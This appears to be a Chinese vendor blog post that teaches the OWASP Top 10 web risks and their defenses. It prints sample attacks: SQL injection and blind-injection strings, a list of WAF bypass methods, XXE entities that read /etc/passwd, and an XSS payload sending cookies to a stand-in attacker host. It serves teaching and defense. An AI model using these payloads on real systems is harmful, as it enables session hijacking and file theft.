WebApp 安全風險與防禦課堂（第二講）開課了！

本文由葡萄城技術團隊於原創並首發

轉載請註明出處：葡萄城官網，葡萄城爲開發者提供專業的開發工具、解決方案和服務，賦能開發者。

 

在昨天的公開課中，因爲參與的小夥伴們積極性和熱情很是高，咱們的講師Carl（陳慶）把原定第二講的大部分也一併獻出了，因此原定三場的公開課也變爲了兩場，本系列的公開課生動有趣、乾貨滿滿、受衆普遍，因此沒有參與上次課程的小夥伴們此次請不要忘記了，本期公開課，咱們將着重介紹OWASP Top 10（10項最嚴重的Web應用程序安全風險預警）及其應對策略。公開課地址：http://live.vhall.com/137416596

 

OWASP Top 10 應用安全風險詳解

《OWASP Top 10》的目的在於爲廣大企業肯定一組最嚴重的風險項目。對於其中的每一項風險，咱們將使用基於OWASP風險等級排序的評級方案，爲您提供關於漏洞廣泛性、可檢測性、業務/技術影響等信息。

 

1、注入

將不受信任的數據做爲命令或查詢的一部分發送到解析器時，會產生諸如SQL注入、NoSQL注入、OS注入和LDAP注入等注入缺陷。攻擊者的惡意數據能夠誘使解析器在沒有適當受權的狀況下執行非預期命令或訪問數據。

 

 

可利用性：容易

幾乎任何數據源都能成爲注入載體，包括環境變量、全部類型的用戶、參數、外部和內部Web服務。當攻擊者能夠向解釋器發送惡意數據時，注入漏洞即可產生。

廣泛性：常見

注入漏洞十分廣泛，尤爲是在遺留代碼中。注入漏洞一般能在SQL、LDAP、XPath或是NoSQL查詢語句、OS命令、XML解析器、SMTP包頭、表達式語句及ORM查詢語句中找到。

可檢測性：易

注入漏洞很容易經過代碼審查發現。掃描器和模糊測試工具能夠幫助攻擊者找到這些漏洞。

技術影響：嚴重

注入能致使數據丟失、破壞或泄露給無受權方、缺少可審計性或是拒絕服務。注入有時甚至能致使主機被徹底接管。

業務影響：未知

您的應用和數據須要受到保護，以免對業務形成影響。

自查：您的應用程序脆弱嗎？

當您的應用有以下狀況時，是脆弱且易受到攻擊的：

1. 用戶提供的數據沒有通過應用程序的驗證、過濾或淨化。
2. 動態查詢語句或非參數化的調用，在沒有上下文感知轉義的狀況下，被用於解釋器。
3. 在ORM搜索參數中使用了惡意數據，這樣搜索就得到包含敏感或未受權的數據。
4. 惡意數據直接被使用或鏈接，諸如SQL語句或命令在動態查詢語句、命令或存儲過程當中包含結構和惡意數據。

一些常見的注入，包括：SQL、OS命令、ORM、LDAP和表達式語言（EL）或OGNL注入。

全部編譯器的原理都是類似的，所以 Code Review是目前爲止最有效的檢測應用程序注入風險的辦法之一。固然，您也能夠對代碼中全部參數、字段、頭、cookie、JSON和XML數據輸入進行DAST掃描，並將SAST和DAST工具添加到CI/CD進程中，以便在項目部署前對現有代碼或新代碼進行注入檢測。

如何防止注入？

防止注入漏洞須要將數據與命令語句、查詢語句分隔開來：

1. 最佳選擇是使用安全的API，徹底避免使用解釋器，或提供參數化界面的API，或遷移到ORM或實體框架中。（注意：當參數化時，若是PL/SQL或T-SQL將查詢和數據鏈接在一塊兒，或者執行帶有當即執行或exec()的惡意數據，存儲過程仍然能夠引入SQL注入漏洞。）
2. 使用正確或符合「白名單」規範的輸入驗證方法，一樣有助於防止注入攻擊，但這極可能引發用戶的吐槽，由於許多應用程序在輸入中須要特殊字符，如文本區域或移動應用程序的API。
3. 對於全部動態查詢，可使用該解釋器的特定轉義語法轉義特殊字符。OWASP的Java Encoder和相似的庫提供了這樣的轉義例程。（注意：在SQL結構中，表名、列名等沒法轉義，所以用戶提供的結構每每是很是危險的。）
4. 在查詢中使用LIMIT和其餘SQL控件，防止在SQL注入時引起大量數據泄露。

攻擊案例場景

1 2 3 4 5 6 7 8 9 10 11

場景#1：應用程序在脆弱的SQL語句結構中使用不可信數據：   String query = "SELECT * FROM accounts WHERE   custID='" + request.getParameter("id") + "'「;   場景#2：框架應用的盲目信任，也可能致使查詢語句的漏洞。（例如：Hibernate查詢語言（HQL））：   Query HQLQuery = session.createQuery("FROM accounts   WHERE custID='" + request.getParameter("id") + "'");

 

在這兩個案例中，攻擊者在瀏覽器中將「id」參數的值修改爲： ’or’1’=’1。例如：

http://example.com/app/accountView?id=' or '1'='1

這樣查詢語句的意義就變成了從accounts表中返回全部記錄。

SQL盲注

SQL盲注，就是在SQL語句注入後且成功執行時，執行的結果不能回顯到前端頁面。此時，咱們須要利用一些方法進行判斷或者嘗試，這個過程稱之爲盲注。

盲注通常分爲三類：

1、基於布爾的盲注

基於布爾的盲注一般使用邏輯判斷推測獲取的數據，經過給定條件，服務器返回真或假。使用二分法或者正則表達式等方法便可縮小判斷的範圍。

2、基於時間的盲注

主要是利用延時或者執行的時間來判斷。

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判斷語句，條件爲假，執行 sleep

由於延時會受到網絡環境的影響，所以這種方法不是很可靠。

3、基於報錯的盲注

構造payload讓信息經過錯誤提示顯示。

count(*)和rand(0)和group by報錯

rand(0)是僞隨機數列，01101100。產生報錯的緣由是由於rand(0)並非一個定值，至關於一個變量。使用group by時，會創建一張虛擬表，字段爲key和count(*)。執行插入操做，第一次返回0，但虛擬表中沒有這個項，數據庫會認爲須要插入這個項，但數據庫並無記錄下來，所以，會再次執行rand(0) 試圖獲取，但此時獲取的是第二個數。依次類推，當數據庫查詢發現0這個項不存在，執行插入操做時， rand(0)返回值爲1，可是1已經存在，這時插入已經存在的項就會報錯。

WAF繞過

之因此要談到WAF的常見特徵，是爲了更好的瞭解WAF的運行機制，以便增長繞過WAF的機會。整體來講，WAF(Web Application Firewall)具備如下四個方面的功能：

1. 審計設備：用來截獲全部HTTP數據或者僅僅知足某些規則的會話
2. 訪問控制設備：用來控制對Web應用的訪問，既包括主動安全模式也包括被動安全模式
3. 架構/網絡設計工具：當運行在反向代理模式，他們被用來分配職能，集中控制，虛擬基礎結構等
4. WEB應用加固工具：這些功能加強被保護Web應用的安全性，它不只可以屏蔽WEB應用固有弱點，並且可以保護WEB應用編程錯誤致使的安全隱患

WAF過濾機制：

1. 異常檢測協議：拒毫不符合HTTP標準的請求；
2. 加強的輸入驗證：代理和服務端的驗證，而不僅是限於客戶端驗證；
3. 白名單&黑名單：白名單適用於穩定的Web應用，黑名單適合處理已知問題；
4. 基於規則和基於異常的保護：基於規則更多的依賴黑名單機制，基於異常更爲靈活；
5. 狀態管理：重點進行會話保護；
6. 其餘：Cookies保護、抗入侵規避技術、響應監視和信息泄露保護等。

繞過WAF的方法：

從目前能找到的資料來看，繞過WAF的技術主要分爲9類，包含：

1. 大小寫混合（最簡單的繞過技術，用於只針對小寫或大寫的關鍵字匹配技術）
2. 替換關鍵字（這種方式大小寫轉化沒法繞過，並且正則表達式會替換或刪除select、union這些關鍵字，若是隻匹配一次就很容易繞過）
3. 使用編碼（URL編碼、Unicode編碼）
4. 使用註釋（普通註釋、內聯註釋）
5. 等價函數與命令（有些函數或命令因其關鍵字被檢測出來而沒法使用，可是在不少狀況下可使用與之等價或相似的代碼替代其使用）
6. 特殊符號（特殊符號有特殊的含義和用法，涉及信息量比前面提到的幾種都要多）
7. HTTP參數控制（這裏HTTP參數控制除了對查詢語句的參數進行篡改，還包括HTTP方法、HTTP頭的控制）
8. 緩衝區溢出（緩衝區溢出用於對付WAF，有很多WAF是C語言寫的，而C語言自身沒有緩衝區保護機制，所以若是WAF在處理測試向量時超出了其緩衝區長度，就會引起bug從而實現繞過）
9. 整合繞過（整合的意思是結合使用前面談到的各類繞過技術，單一的技術可能沒法繞過過濾機制，可是多種技術的配合使用成功的可能性就會增長很多。除非每一種技術單獨都沒法使用，不然它們能產生比自身大得多的能量。）

2、身份認證失效

經過錯誤地使用Web應用程序的身份認證和會話管理功能，攻擊者可以破譯密碼、密鑰和會話令牌，或者利用其它開發缺陷來暫時性或永久性地冒充管理員的身份。

 

 

可利用性：容易

攻擊者能夠輕鬆獲取數百萬條有效用戶名和密碼組合，包括證書、默認的帳戶管理列表、自動的暴力破解和字典攻擊工具，以及高級的GPU破解工具。會話管理能夠很容易地被利用，尤爲是沒有過時的會話密匙。

廣泛性：常見

大多數管理系統的設計和實現，都存在身份認證失效的問題。會話管理是身份驗證和訪問控制的基礎，而且存在於整個應用程序的進程中。

可檢測性：通常

攻擊者一般使用指南手冊來檢測失效的身份驗證。除此以外，也會關注密碼轉儲、字典攻擊，或者在相似釣魚、社會工程攻擊後，發現失效的身份認證。

技術影響：嚴重

攻擊者只需訪問幾個帳戶，或者一個管理員帳戶就能夠破壞咱們的系統。根據應用程序業務場景的不一樣，可能會致使洗錢、欺詐、用戶身份盜竊、泄露法律保護的敏感信息等嚴重違法行爲。

自查：您的應用程序脆弱嗎？

確認用戶身份、身份驗證和會話管理很是重要，這些措施可用於將惡意的、未經身份驗證的攻擊者與受權用戶進行分離。若是您的應用程序存在以下問題，那麼可能存在身份驗證失效漏洞：

1. 容許憑證填充，攻擊者可利用此得到有效的用戶名和密碼。
2. 容許暴力破解或其餘自動攻擊。
3. 使用默認、弱安全性的密碼，例如「Password1」或「admin/admin」。
4. 使用弱安全性或失效的驗證憑證。
5. 使用明文、加密或弱散列密碼。
6. 缺乏或失效的多因素身份驗證。
7. 暴露URL中的會話ID（例如URL重寫）。
8. 在成功登陸後不會更新會話ID。
9. 不正確地使會話ID失效。當用戶不活躍的時候，用戶會話或認證令牌（特別是單點登陸（SSO）令牌）沒有正確註銷或失效。
10. 在儘量的狀況下，使用多因素身份驗證，以防止憑證填充、暴力破解和被盜憑據再利用攻擊。
11. 不要使用已發送或部署默認的憑證，特別是管理員用戶。
12. 按期執行弱密碼檢查。
13. 將密碼長度、複雜性和循環策略與NIST-800-63 B的指導方針或其餘現代的密碼策略保持一致。
14. 確認註冊、憑據恢復和API路徑，確保對全部輸出結果使用相同的消息，用以抵禦帳戶枚舉攻擊。
15. 限制或逐漸延遲失敗的登陸嘗試。記錄全部失敗信息並在憑據填充、暴力破解或其餘攻擊被檢測時提醒系統管理員。
16. 使用服務器端內置的會話管理器，在登陸後生成高度複雜且不存在於URL的隨機會話ID。這樣當用戶登出、閒置、絕對超時後使其失效。

如何防止？

 

攻擊案例場景

場景#1：最多見的攻擊方式——憑證填充，使用已知密碼的列表。若是應用程序不限制身份驗證嘗試次數，則能夠將應用程序用做密碼oracle， 以肯定憑證是否有效。

場景#2：大多數身份驗證攻擊都是因爲密碼做爲惟一的認證因素。

場景#3：應用會話超時設置不正確。用戶使用公共計算機訪問應用程序時，直接關閉瀏覽器選項卡就離開，而不是選擇「註銷」。

憑據填充（撞庫）

撞庫，是黑客經過收集互聯網已泄露的用戶和密碼信息，生成對應的字典表，嘗試批量登錄其餘網站後，獲得一系列能夠登陸的用戶。不少用戶在不一樣網站使用的是相同的帳號和密碼，所以黑客能夠經過獲取用戶在A網站的帳戶從而嘗試登陸B網站，這就是撞庫攻擊。

撞庫能夠經過數據庫安全防禦技術解決，數據庫安全技術包括：數據庫漏掃、數據庫加密、數據庫防火牆、數據脫敏、數據庫安全審計系統。

撞庫並不神祕，事實上，它正被普遍的使用。舉例而言，根據Shape Security的報告，「攻擊者們一旦鎖定了一個財富100強的B2C(企業對消費者)網站，就會在一個星期內使用遍及世界各地的代理服務器，對其進行超過五百萬次登陸嘗試。」 雪上加霜的是，被竊取的憑證也並不難找。黑客們會爲了找樂子或尋求揚名立萬的機會把憑證散播到網上。當黑客們在憑證黑市(好比Cracking-dot-org、 Crackingking-dot-org以及 Crackingseal-dot-io)作生意時，這些名聲會派上大用場。

多因素驗證

多因素驗證（Multi-factor authentication，縮寫爲 MFA），又譯多因子認證、多因素認證，是一種計算機訪問控制的方法，用戶要經過兩種以上的認證機制以後，才能獲得受權，使用計算機資源。例如，用戶要輸入PIN碼，插入銀行卡，最後再經指紋比對，經過這三種認證方式，才能得到受權。這種認證方式能夠提升安全性。

3、敏感數據泄露

許多Web應用程序和API都沒法正確保護敏感數據，例如：財務數據、醫療數據和PII數據。攻擊者能夠經過竊取或修改未加密的數據來實施信用卡詐騙、身份盜竊或其餘犯罪行爲。未加密的敏感數據容易受到破壞，所以，咱們須要對敏感數據加密，這些數據包括：傳輸過程當中的數據、存儲的數據以及瀏覽器的交互數據。

 

 

可利用性：通常

攻擊者並不是直接攻擊，而是在傳輸過程當中、從客戶端（例如：瀏覽器）竊取密鑰、發起中間人攻擊，或從服務器端直接竊取明文數據。

廣泛性：普遍

這是最多見，也是最具影響力的攻擊手段。在數據加密的過程當中，因爲不安全的密鑰生成、管理以及使用弱加密算法、弱協議和弱密碼（未加鹽的哈希算法或弱哈希算法），致使數據泄露事件頻發。

可檢測性：通常

在服務器端，檢測傳輸過程當中的數據弱點很容易，但檢測存儲數據的弱點卻異常困難。

技術影響：嚴重

敏感數據泄露事件形成的影響是很是嚴重的，由於這些數據一般包含了不少我的信息（PII），例如：醫療記錄、認證憑證、我的隱私、信用卡信息等。這些信息受到相關法律和條例的保護，例如：歐盟《通用數據保護條例》（GDPR）和地方隱私保護法律。

自查：您的應用程序脆弱嗎？

首先你須要確認哪些數據（包含：傳輸過程當中的數據、存儲數據）是敏感數據。例如：密碼、信用卡卡號、醫療記錄、我的信息等，這些數據應該被加密，請Review：

1. 在數據傳輸過程當中是否使用明文傳輸？這和傳輸協議相關，如：HTTP、SMTP和FTP。（注意：外網流量十分危險，請驗證全部的內部通訊，如：負載平衡器、Web服務器或後端系統之間的通訊。）
2. 當數據被長期存儲時，不管存儲在哪裏，它們是否都被加密或備份？
3. 不管默認條件仍是源代碼中，是否還在使用任何舊的、脆弱的加密算法？
4. 是否使用默認加密密鑰，生成或重複使用脆弱的加密密鑰，或者缺乏恰當的密鑰管理或密鑰迴轉？
5. 是否強制加密敏感數據，例如：用戶代理（如：瀏覽器）指令，傳輸協議是否被加密？
6. 用戶代理（如：應用程序、郵件客戶端）是否未驗證服務器端證書的有效性？

如何防止？

對一些須要加密的敏感數據，應該作到如下幾點：

1. 對系統處理、存儲或傳輸的數據分類，並根據分類分別進行訪問控制。
2. 熟悉與敏感數據保護相關的法律和條例，並根據每項法規的要求保護敏感數據。
3. 對於不必存放，但重要的敏感數據，應當儘快清除，或者經過 PCI DSS標記或攔截，只有未存儲的數據纔不會被竊取。
4. 確保已存儲的全部敏感數據都被加密。
5. 確保使用了最新、強大的標準算法或密碼、參數、協議和密鑰，而且密鑰管理到位。
6. 確保傳輸過程當中的數據被加密，如：使用TLS。
7. 確保數據加密被強制執行，如：使用HTTP嚴格安全傳輸協議（HSTS ）。
8. 禁止緩存對包含敏感數據的響應。
9. 確保使用密碼專用算法存儲密碼，如：Argon2 、scrypt 、bcrypt 或PBKDF2 。

10. 將工做因素（延遲因素）設置在可接受的範圍。

11. 單獨驗證每一個安全配置項的有效性。

攻擊案例場景

場景 #1：假設一個應用程序使用自動化的數據加密系統加密了信用卡信息，並存儲在數據庫中，當數據被檢索時自動解密。這會致使SQL注入漏洞可以以明文形式得到全部信用卡卡號。

場景 #2：一個網站上沒有使用或強制使用TLS，或者僅使用弱加密算法。攻擊者經過監測網絡流量（如：不安全的無線網絡），將網絡鏈接從HTTPS降級到HTTP，就能夠截取請求並竊取用戶會話 cookie。而後，攻擊者能夠複製用戶cookie併成功劫持通過認證的用戶會話、訪問或修改用戶我的信息。除此以外，攻擊者還能夠更改全部傳輸過程當中的數據，如：轉款的接收者。

場景 #3：密碼數據庫使用未加鹽的哈希算法或弱哈希算法去存儲密碼，此時，一個文件上傳漏洞可以使黑客可以獲取密碼文件，而這些未加鹽的哈希密碼經過彩虹表暴力破解方式便可快速破解。

各國應對措施

日本我的信息保護法

近年來，因信息、通訊技術的發展，企業須要收集大量我的信息，用以提供準確且迅速的服務。我的信息的利用，不管是對現今的商業活動，仍是對國民生活都變得不可或缺。可是，另外一方面，因爲處理我的信息情況不當，致使我的權利和利益受到損害的可能性也在增大。在日本，包含企業和政府等團體的組織內部，泄露的我的信息數量累積超過了1000萬件。因而，鑑於規範處理我的信息，明確國家及地方公共團體的職責，確保我的信息有效利用等目的，日本於2005年4月1日起頒佈《我的信息保護法》。

歐盟《通用數據保護條例》（GDPR)

歐盟《通用數據保護條例》（General Data Protection Regulation，簡稱GDPR），其前身是歐盟在1995年制定的《計算機數據保護法》，該法明確規定：

1. 對違法企業的罰金最高可達2000萬歐元（約合1.5億元人民幣）或其全球營業額的4%，以高者爲準。
2. 網站經營者必須事先向客戶說明會自動記錄客戶的搜索和購物記錄，並得到用戶的贊成，不然按「未告知記錄用戶行爲」做違法處理。
3. 企業不能再使用模糊、難以理解的語言，或冗長的隱私政策來從用戶處獲取數據使用許可。
4. 明文規定了用戶的「被遺忘權」（right to be forgotten），即用戶我的能夠要求責任方刪除關於本身的數據記錄。

設計安全帳號系統的正確姿式

數據安全防範的方法簡單來講，當數據從用戶鍵盤敲出的那一刻，到服務器後臺存儲過程當中，都需保持正確的姿式。如：

1. 用正確的姿式保存密碼

a)     低級錯誤：明文保存密碼

b)    低級錯誤：可逆加密密碼

c)     錯誤方法：md5 加密密碼

d)    正確方法：加鹽 hash 保存密碼

1. 用正確的姿式傳輸數據

a)     驗證服務端的合法性

b)    確保通訊的安全

1. 用正確的姿式加密敏感信息
2. 用正確的姿式對數據進行備份和監控

 

4、XML 外部實體（XXE）

許多較早的或配置錯誤的XML處理器評估了XML文件中的外部實體引用。攻擊者能夠利用外部實體竊取使用URI文件處理器的內部文件和共享文件、監聽內部掃描端口、執行遠程代碼和實施拒絕服務攻擊。

 

 

可利用性：通常

若是攻擊者能夠上傳XML文檔或在XML文檔中添加惡意內容（如，易受攻擊的代碼、依賴項或集成），他們就可以攻擊含有缺陷的XML處理器。

廣泛性：常見

通常來講，許多舊的XML處理器可以對外部實體、XML進程中被引用和評估的URI進行規範。SAST 工具能夠經過檢查依賴項和安全配置來發現XXE缺陷。DAST工具須要額外的手動步驟來檢測和利用XXE缺陷。

技術影響：嚴重

XXE缺陷可用於提取數據、執行遠程服務器請求、掃描內部系統、執行拒

絕服務攻擊和其餘攻擊。

 

自查：您的應用程序脆弱嗎？

應用程序，特別是基於XML的Web服務，可能在如下方面容易受到攻擊：

1. 您的應用程序直接接受XML文件或者接受XML文件上傳，特別是來自不受信任源的文件，或者將不受信任的數據插入XML文件，並提交給XML處理器解析。
2. 在應用程序或基於Web服務的SOAP中，全部XML處理器都啓用了文檔類型定義（DTDs）。
3. 爲了實現安全性或單點登陸（SSO），您的應用程序應該使用了 SAML進行身份認證，而假設SAML使用了XML進行身份確認，那麼您的應用程序就容易受到XXE攻擊。
4. 若是您的應用程序使用第1.2版以前的SOAP，並將XML實體傳遞到SOAP框架，那麼它可能受到XXE攻擊。
5. 存在XXE缺陷的應用程序更容易受到拒絕服務攻擊，如： Billion Laughs 攻擊。

如何防止？

培訓開發人員的安全意識，是識別和減小XXE的關鍵，除此以外，還須要：

1. 儘量地使用簡單的數據格式（如：JSON），避免對敏感數據進行序列化。 
2. 及時修復或更新應用程序或底層操做系統使用的XML處理器和庫。同時，經過依賴項檢測，將SOAP更新到1.2版本或更高版本。
3. 參考《OWASP Cheat Sheet ‘XXE Prevention‘》，在應用程序的全部XML解析器中禁用XML外部實體和DTD進程。
4. 在服務器端實施（「白名單」）輸入驗證、過濾和清理， 以防止在XML文檔、標題或節點中出現惡意數據。
5. 驗證XML或XSL文件上傳功能是否使用了XSD驗證或其餘相似的驗證。
6. 儘管在許多集成環境中，手動代碼審查是大型、複雜應用程序的最佳選擇，可是SAST 工具能夠檢測源代碼中的XXE漏洞。 若是沒法實現這些控制，請考慮使用虛擬修復程序、API安全網關或Web應用程序防火牆（ WAF ）來檢測、監控和防止XXE攻擊。

攻擊案例場景

目前，已經有大量XXE缺陷被發現並公開，這些缺陷包括上傳可被接受的惡意XML文件、嵌入式設備的 XXE缺陷及深嵌套的依賴項等。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17

場景 #1：攻擊者嘗試從服務端提取數據：<br><?xml version="1.0" encoding="ISO-8859-1"?>   <!DOCTYPE foo [   <!ELEMENT foo ANY >   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>   <foo>&xxe;</foo>   場景 #2：攻擊者經過將上面的實體行更改成如下內容來探測服務器的專用網絡：   <!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>   場景 #3：攻擊者經過惡意文件執行拒絕服務攻擊：   <!ENTITY xxe SYSTEM "file:///dev/random" >]>

　　

XML基本定義

XML是用於標記電子文件使其具備結構性的標記語言，能夠用來標記數據、定義數據類型，是一種容許用戶對本身的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義（可選）、文檔元素。

 

圖片來自網絡

XML由3個部分構成，分別是：文檔類型定義（Document Type Definition，DTD），即XML的佈局語言；可擴展的樣式語言（Extensible Style Language，XSL），即XML的樣式表語言；以及可擴展連接語言（Extensible Link Language，XLL）。

XML 中的實體分爲如下五種：字符實體，命名實體，外部實體，參數實體，內部實體，普通實體和參數實體都分爲內部實體和外部實體兩種，外部實體定義須要加上 SYSTEM關鍵字，其內容是URL所指向的外部文件實際的內容。若是不加SYSTEM關鍵字，則爲內部實體，表示實體指代內容爲字符串。

XML外部實體

XML外部實體表示外部文件的內容，用 SYSTEM 關鍵詞表示：

1 2 3 4 5 6 7 8 9 10 11 12 13

<!ENTITY test SYSTEM "1.xml">   有些XML文檔包含system標識符定義的「實體」，這些文檔會在DOCTYPE頭部標籤中呈現。這些定義的「實體」可以訪問本地或者遠程的內容。好比，下面的XML文檔示例就包含了XML「實體」。   <?xml version="1.0" encoding="utf-8"?>   <!DOCTYPE Anything [   <!ENTITY entityex SYSTEM "file:///etc/passwd">   ]>   <abc>&entityex;</abc>

在上面的代碼中， XML外部實體 ‘entityex’ 被賦予的值爲：file://etc/passwd。在解析XML文檔的過程當中，實體’entityex’的值會被替換爲URI(file://etc/passwd)內容值（也就是passwd文件的內容）。 關鍵字’SYSTEM’會告訴XML解析器，’entityex’實體的值將從其後的URI中讀取，並把讀取的內容替換entityex出現的地方。

假如 SYSTEM 後面的內容能夠被用戶控制，那麼用戶就能夠隨意替換爲其餘內容，從而讀取服務器本地文件（file:///etc/passwd)或者遠程文件（http://www.baidu.com/abc.txt）。

XXE 注入定義

XXE注入（即XML External Entity, XML外部實體注入）。經過 XML 實體，」SYSTEM」關鍵詞致使 XML 解析器能夠從本地文件或者遠程 URI 中讀取數據。攻擊者能夠經過 XML 實體傳遞本身構造的惡意值，從而引導處理程序解析它。當引用外部實體時，攻擊者經過構造惡意內容，可讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等行爲。

XXE 漏洞原理

最多見的XXE漏洞類型分爲如下三種：

1. 基礎的XXE注入— 外部實體注入本地DTD
2. 基於盲注的XXE注入—XML解析器在響應中不顯示任何錯誤
3. 基於錯誤的XXE注入—成功解析以後，XML解析器始終顯示SAME響應。（即「您的消息已被接收」），所以，咱們可能但願解析器將文件的內容「打印」到錯誤響應中。

既然XML能夠從外部讀取DTD文件，那咱們就天然地想到了若是將路徑換成另外一個文件的路徑，那麼服務器在解析這個XML的時候就會把那個文件的內容賦值給SYSTEM前面的根元素中，只要咱們在XML中讓前面的根元素的內容顯示出來，就能夠讀取那個文件的內容了。這就形成了一個任意文件讀取的漏洞。

假設咱們指向的是一個內網主機的端口呢？是否會給出錯誤信息，咱們是否是能夠從錯誤信息上來判斷內網主機這個端口是否開放，這就形成了一個內部端口被探測的問題。通常來講，服務器解析XML有兩種方式，一種是一次性將整個XML加載進內存中，進行解析；另外一種是一部分的、「流式」地加載、解析。若是咱們遞歸地調用XML定義，一次性調用巨量的定義，那麼服務器的內存就會被消耗完，形成了拒絕服務攻擊。

5、失效的訪問控制

未對經過身份驗證的用戶實施恰當的訪問控制。攻擊者能夠利用這些缺陷，訪問未經受權的功能或數據，例如：訪問其餘用戶的帳戶、查看敏感文件、修改其餘用戶的數據、更改訪問權限等。

6、安全配置錯誤

安全配置錯誤是最多見的安全問題，這一般是因爲不安全的默認配置、不完整的臨時配置、開源雲存儲、錯誤的 HTTP 標頭配置以及包含敏感信息的詳細錯誤信息所形成的。所以，咱們不只須要對全部的操做系統、框架、庫和應用程序進行安全配置，並且必須及時修補和升級它們。

7、跨站腳本（XSS）

當應用程序的新網頁中包含不受信任的、未經驗證或轉義的數據時，或者使用能夠建立 HTML或 JavaScript 的瀏覽器 API 更新現有網頁時，就會出現 XSS 缺陷。XSS 讓攻擊者可以在受害者的瀏覽器中執行腳本，並劫持用戶會話、破壞網站或將用戶重定向到惡意站點。

 

 

可利用性：容易

自動化工具可以檢測並利用全部的三種XSS形式，而且存放在便於攻擊者利用的漏洞中。

廣泛性：普遍

XSS是OWASP Top10中第二廣泛的安全問題，存在於近三分之二的應用程序中。

可檢測性：容易

自動化工具能發現XSS問題，尤爲是一些成熟的技術框架中，如：PHP、J2EE或JSP、ASP.NET等。

技術影響：中等

XSS對於反射和DOM的影響是中等的，而對於存儲的XSS，XSS的影響更爲嚴重，譬如在受到攻擊的瀏覽器上執行遠程代碼，如：竊取憑證和會話或傳遞惡意軟件等。

自查：您的應用程序脆弱嗎？

針對用戶的瀏覽器，存在三種XSS類型：

1. 反射式XSS：應用程序或API包含未經驗證和未經轉義的用戶輸入，並做爲HTML輸出的一部分，受到此類攻擊可讓攻擊者在受害者的瀏覽器中執行任意的HTML和JavaScript。
2. 存儲式XSS：你的應用或者API將未淨化的用戶輸入進行存儲，並在其餘用戶或者管理員的頁面展現出來。存儲型XSS通常被認爲是高危或嚴重的風險。
3. 基於DOM的XSS：會動態的將攻擊者操控的內容加入到頁面的 JavaScript框架、單頁面程序或API中。爲避免此類攻擊，你應該禁止將攻擊者可控的數據發送給不安全的JavaScript API。

典型的XSS攻擊形成的結果包含：盜取Session、帳戶、繞過MFA、DIV替換、對用戶瀏覽器的攻擊（例如：惡意軟件下載、鍵盤記錄）以及其餘用戶側的攻擊。

如何防止？

防止XSS，須要將不可信的數據與動態的瀏覽器內容區分開：

1. 使用已解決XSS問題的框架，如：Ruby 3.0 或 React JS。瞭解每一個框架對XSS保護的侷限性，並適當地處理未覆蓋的用例。
2. 爲了不反射式或存儲式的XSS漏洞，最好的辦法是根據HTML 輸出的上下文（包括：主體、屬性、JavaScript、CSS或URL） 對全部不可信的HTTP請求數據進行恰當的轉義 。
3. 在客戶端修改瀏覽器文檔時，爲了不DOM XSS攻擊，最好的選擇是實施上下文敏感數據編碼。若是這種狀況不能避免，能夠採用《OWASP Cheat Sheet ‘DOM based XSS Prevention ‘》 一文中描述的相似於上下文敏感的轉義技術，並應用於瀏覽器API。
4. 使用內容安全策略（CSP）是對抗XSS的最終防護策略。若是不存在能夠經過本地文件存放惡意代碼的漏洞（例如：路徑遍歷覆蓋和容許在網絡中傳輸的易受攻擊的庫），則該策略是有效的。

攻擊案例場景

場景#1：應用程序在下面的HTML代碼段構造中使用了未經驗證或轉義的不可信的數據源：

1	(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC「) + "'>";

攻擊者在瀏覽器中修改「CC」 參數爲以下值：

1	'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.

這個攻擊會致使受害者的會話ID被髮送到攻擊者的網站，使得攻擊者可以劫持用戶當前會話。

內容安全策略 (CSP)

內容安全策略 (CSP) 是一個額外的安全層，用於檢測並削弱某些特定類型的攻擊，包括跨站腳本 (XSS) 和數據注入攻擊等。不管是數據盜取、網站內容污染仍是惡意軟件，這些攻擊都是主要的手段。

CSP 被設計成徹底向後兼容（除CSP2 在向後兼容有明確說起的不一致外）。不支持CSP的瀏覽器也能與實現了CSP的服務器正常合做，反之亦然：不支持 CSP 的瀏覽器只會忽略它，如常運行，默認爲網頁內容使用標準的同源策略。若是網站不提供 CSP Header，瀏覽器將使用標準的同源策略。

爲使CSP可用, 你須要配置你的網絡服務器返回  Content-Security-Policy  HTTP Header ( 有時你會看到一些關於X-Content-Security-Policy Header的提法, 那是舊版本，你無須再如此指定它)。

除此以外,  <meta>  元素也能夠被用來配置該策略, 例如：

1	<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

上下文敏感數據編碼（XSS編碼與繞過）

對於瞭解Web安全的朋友來講，都知道XSS這種漏洞，其危害性不用強調。通常對於該漏洞的防禦有兩個思路：一是過濾敏感字符，諸如【<，>，script，'】等，另外一種是對敏感字符進行html編碼，諸如php中的htmlspecialchars()函數。

通常狀況，正確實施這兩種方案之一就能夠有效防護XSS漏洞了。但其實也會有一些場景，即便實施了這兩種方案，攻擊者也能夠繞過防禦，致使XSS漏洞被利用。

場景一：XSS注入點在某個html標籤屬性中，代碼片斷以下：

 

能夠看到，這裏防禦措施採用的是方案一：過濾敏感字符。這裏若是輸入javascript:alert (11)，是會被過濾掉的，輸出的內容會是：

 

 

場景二：XSS注入點在js標籤中，代碼片斷以下：

 

 

這裏採用的防禦措施是第二種，即便用php內置函數htmlspecialchars對敏感字符進行編碼。若是輸入正常的payload，如：<img src=1 onerror=alert(11)>，是不會有彈窗的，此時瀏覽器的輸出以下圖：

 

 

這裏的敏感字符< >，已經被html編碼了，最後在<div>標籤裏面輸出的時候，瀏覽器再使用html解碼將其原文顯示出來，可是並不會觸發js引擎，因此也就沒有彈窗。

下圖是js編碼後的payload：

 

 

8、不安全的反序列化

不安全的反序列化會致使遠程代碼執行。即便反序列化缺陷不會致使遠程代碼執行，攻擊者也能夠利用它們來執行攻擊，包括：重播攻擊、注入攻擊和特權升級攻擊。

 

 

可利用性：難

對反序列化的利用很是困難。由於在不更改或調整底層可被利用代碼的狀況下，現成的反序列化漏洞很難被使用。

可檢測性：通常

有些工具能夠被用於發現反序列化缺陷，但常常須要人工幫助來驗證發現的問題。但願有關反序列化缺陷的廣泛性數據將隨着工具的開發而被更多的識別和解決。

技術影響：嚴重

